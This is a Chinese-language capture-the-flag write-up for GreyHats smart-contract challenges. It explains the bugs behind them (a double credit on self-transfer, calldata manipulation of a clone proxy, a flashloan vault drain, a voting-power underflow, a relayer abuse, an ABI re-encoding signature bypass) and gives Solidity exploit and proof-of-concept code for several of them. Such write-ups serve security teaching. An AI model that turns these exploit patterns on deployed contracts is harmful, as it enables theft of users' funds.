題目: 擔心通貨膨脹嗎?介紹 GreyHats Dollar (GHD),全球首個內建通縮機制的貨幣!由 GREY 代幣支持,GHD 將以每年 3% 的速度自動通縮。
過關條件:
- 挑戰者需拿到 50000 以上 GHD
知識點:
- transferFrom 邏輯漏洞, double credit.
解題:
- 挑戰者可以 cliam 1000 grey 代幣. 可以在 GHD合約 mint GHD 代幣, 關鍵漏洞在GHD合約的transferFrom函數轉賬時,只檢查了發送者餘額減少和接收者餘額增加,沒有檢查實際轉賬金額.
function transferFrom(
address from,
address to,
uint256 amount
) public update returns (bool) {
if (from != msg.sender) allowance[from][msg.sender] -= amount;
uint256 _shares = _GHDToShares(amount, conversionRate, false);
uint256 fromShares = shares[from] - _shares; //vulnerable
uint256 toShares = shares[to] + _shares; //vulnerable
contract Exploit {
Setup setup;
constructor(Setup _setup) {
setup = _setup;
}
function solve() external {
// Step 1: Claim 1000 GREY tokens
// The function begins by calling setup.claim() to claim 1000 GREY tokens.
setup.claim();
// Step 2: Approve GHD contract
// It then grants approval for the GHD contract to spend the GREY tokens
// by calling approve on the GREY token contract, allowing the GHD contract
// to spend an unlimited amount (type(uint256).max).
setup.grey().approve(address(setup.ghd()), type(uint256).max);
// Step 3: Mint GHD tokens
// After approval, the function mints GHD tokens by transferring the 1000 GREY tokens
// to the GHD contract using setup.ghd().mint(1000e18).
setup.ghd().mint(1000e18);
// Step 4: Looped transfers
// The function performs a loop 50 times, transferring 1000 GHD tokens
// to the contract itself (address(this)) on each iteration.
for (uint256 i = 0; i < 50; i++) {
setup.ghd().transfer(address(this), 1000e18);
}
// Step 5: Transfer accumulated GHD to the caller
// Once the loop completes, the function transfers all the accumulated GHD tokens
// from the contract to the caller (msg.sender) using
// setup.ghd().transfer(msg.sender, setup.ghd().balanceOf(address(this))).
setup.ghd().transfer(msg.sender, setup.ghd().balanceOf(address(this)));
}
}
題目: 介紹基於 NFT 的代管系統——你可以存入資產並通過出售你的所有權 NFT 來交易代管!然而,我不小心放棄了自己代管的所有權。你能幫我找回資金嗎?
過關條件:
- escrow 合約上 grey 代幣餘額為0
- 挑戰者 grey 代幣餘額需 >= 10000
知識點:
- ClonesWithImmutableArgs
- Calldata
解題:
- 當 ClonesWithImmutableArgs 代理被調用時,不可變參數和一個 2-byte 的長度字段會附加在委託調用(delegate call)的 calldata 中.
- tokenY 是 address(0):address(0) 以 0x00 表示, tokenY 的最後一個 byte 為 0x00, 通過利用 ClonesWithImmutableArgs 的 calldata 優化, 我們可以省略 tokenY 的最後一個 byte, 並將未使用的 length field byte 作為 tokenY 的最後一個 byte, 你可以傳遞 19 bytes 的 0x00, 並且仍然能夠達到與傳遞完整 20 bytes 相同的效果, 計算出來的 paramsHash 會是一樣的, 這樣我們可以部署一樣的 escrowId 合約和覆蓋 owner. POC:
function _getArgs() internal pure returns (address factory, address tokenX, address tokenY) {
// This function retrieves three arguments: factory, tokenX, and tokenY.
// factory is located at offset 0, tokenX at offset 20, and tokenY at offset 40.
// tokenY is expected to be address(0), which allows us to optimize the calldata length.
factory = _getArgAddress(0);
tokenX = _getArgAddress(20);
// Since tokenY is address(0) (0x00), we can utilize the first byte of the length field
// to act as the last byte of tokenY. This reduces the calldata passed by 1 byte,
// resulting in a different paramsHash.
tokenY = _getArgAddress(40); // address(0) (0x00)
}
function _getArgAddress(uint256 argOffset)
internal
pure
returns (address arg)
{
// This function reads an address from calldata at the specified offset.
uint256 offset = _getImmutableArgsOffset();
// Use inline assembly to load 32 bytes from calldata, then shift right by 96 bits (12 bytes)
// to get the correct 20-byte address.
assembly {
arg := shr(0x60, calldataload(add(offset, argOffset)))
}
}
function _getImmutableArgsOffset() internal pure returns (uint256 offset) {
// This function calculates the starting offset for the immutable arguments in calldata.
// The last 2 bytes of calldata contain the length of the immutable arguments.
// Subtract the last 2 bytes from the total calldata size to get the offset of the arguments.
assembly {
offset := sub(
calldatasize(),
shr(0xf0, calldataload(sub(calldatasize(), 2))) // Extract the last 2 bytes (length field)
)
}
}
題目: ERC-4626 太複雜了,所以我做了一個 AMM,能在股份與資產之間進行交換。
過關條件:
- 取得 3000 以上 grey token
知識點:
- AMM
- 閃電貸
解題:
- AMM 合約內預設題目上有 1000 SA shares 和 2000 grey 代幣, 在swap 功能中要滿足 computeK(reserveX, reserveY) >= k, AMM提供了 flashloan, 不用手續費.
- Vault 合約預設有 2000 grey 代幣. 可以透過flashloan 借出 1000 SA, 可以把 vault 上的 2000 grey 領走, 在把 1000 grey 存入拿到 1000 SA, 在歸還給 flashloan.
- 因為目前仍滿足 computeK(reserveX, reserveY) >= k, 1000+1000>= 2000, 所以可以透過 swap 使用 0 SA share 換出 1000 grey 代幣,
POC:
function solve() external {
vault = setup.vault();
amm = setup.amm();
grey = setup.grey();
grey.approve(address(vault), type(uint256).max);
// Claim 1000 GREY
setup.claim();
amm.flashLoan(true, 1000 ether, "");
amm.swap(true, 0, 1000 ether);
grey.transfer(msg.sender, grey.balanceOf(address(this)));
}
function onFlashLoan(uint256, bytes calldata) external {
require(msg.sender == address(amm));
vault.withdraw(1000 ether);
vault.deposit(1000 ether);
vault.approve(address(amm), 1000 ether);
}
題目: 秉持去中心化精神,GreyHats 現在成為了一個 DAO!使用你的 GREY 代幣投票,決定我們的資金如何使用。
過關條件:
- 讓 flashLoan 功能失效
知識點:
- Voting
- lock GREY 可獲取投票權
- propose 創建提案
- vote 提案投票
- execute 執行提案
- delegate 把投票權授權給其他人
- Integer underflow
解題:
- 在 delegate 中把票投權授權給其他人的處理邏輯, 可以看到 _subtractVotingPower 會把 oldVotes - votes.
- oldVotes 透過 oldVotes = history.getLatestVotingPower(delegatee); 取得就是lock的數量
- votes 透過_calculateVotes計算, 注意到有加乘 VOTE_MULTIPLIER 1.3e18. 會有進位問題. 以及delegate也會透過 _calculateVotes計算, 只要讓他前後push的時寫入history, 造成進位問題, 然後因為 uncheck oldVotes - votes 只要votes大於 oldVotes就可以 underflow.
function _subtractVotingPower(address delegatee, uint256 votes) internal {
uint256 oldVotes = history.getLatestVotingPower(delegatee);
unchecked {
history.push(delegatee, oldVotes - votes); //unbderflow
}
}
function _calculateVotes(uint256 amount) internal pure returns (uint256) {
return amount * VOTE_MULTIPLIER / 1e18;
}
function votingPower(address user, uint256 blockNumber) external view returns (uint256) {
return history.getVotingPower(user, blockNumber);
}
題目:
過關條件:
- 從 Staking 合約中提取 10,000 GREY 代幣
- 最終合約的金庫 Vault 中的資金必須為 0
知識點:
- Relayer 中繼機制: 它可以通過 execute 和 executeBatch 函數,使用簽名來進行代幣轉移
解題:
- 題目在部署 Staking 的時候, RelayReceiver 設定為 relayer 中繼合約. 並且 staking 10000 GREY, 拿到 10000 STK.
- 通過一個中繼機制(Relayer)進行攻擊,從 Setup 合約的金庫中提取 10000 STK
- Withdraw 10000 STK 拿到 10000 GREY.
題目: 以下合約中,能在沒有擁有者權限的情況下執行交易嗎?
過關條件:
- 把 safe 合約內的 10000 GREY 取出
知識點:
- 簡化版的多簽合約
解題:
- queueTransaction 需等VETO_DURATION 1分鐘後才能執行 executeTransaction 需繞過以下檢查
address signer = ecrecover(
txHash,
v[signatureIndex],
r[signatureIndex],
s[signatureIndex]
);
if (signer != transaction.signer)
- 搭配 solidity 0.8.16之前的 Head Overflow Bug in Calldata Tuple ABI-Reencoding bug 當一個結構體(或元組)中包含一個變長的資料類型(如string 或bytes)時,在第二次進行ABI 編碼時,編譯器在處理calldata 數組到記憶體的轉換時會過度清理內存,導致第一個欄位的資料被清零.